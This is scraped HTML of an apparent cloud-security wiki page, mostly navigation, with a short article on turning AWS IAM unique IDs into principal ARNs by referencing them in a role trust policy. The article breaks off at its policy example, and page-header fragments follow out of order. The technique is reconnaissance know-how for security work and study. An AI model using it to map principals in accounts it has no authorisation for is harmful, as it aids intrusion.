0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enumerate_principal_arn_from_unique_id.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Derive a Principal ARN from an AWS Unique Identifier</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://awsteele.com/blog/2023/11/19/reversing-aws-iam-unique-ids.html>Reversing AWS IAM unique IDs</a> by <a href=https://twitter.com/__steele>Aidan Steele</a></p> <p><a class=glightbox href=/images/researchers/aidan_steele.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/aidan_steele.jpg alt="Aidan Steele" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids>Unique identifiers</a></p> </li> </ul> </div> <p>When operating in an AWS environment, you may come upon a variety of <a href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ >IAM unique identifiers</a>. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).</p> <p>For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >resource-based policy</a>.</p> <p>To do this, we can use the example ID of <code>AROAJMD24IEMKTX6BABJI</code> from <a href=https://twitter.com/__steele>Aidan Steele</a>'s excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.</p> <p>First, we will create a role with the following trust policy:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 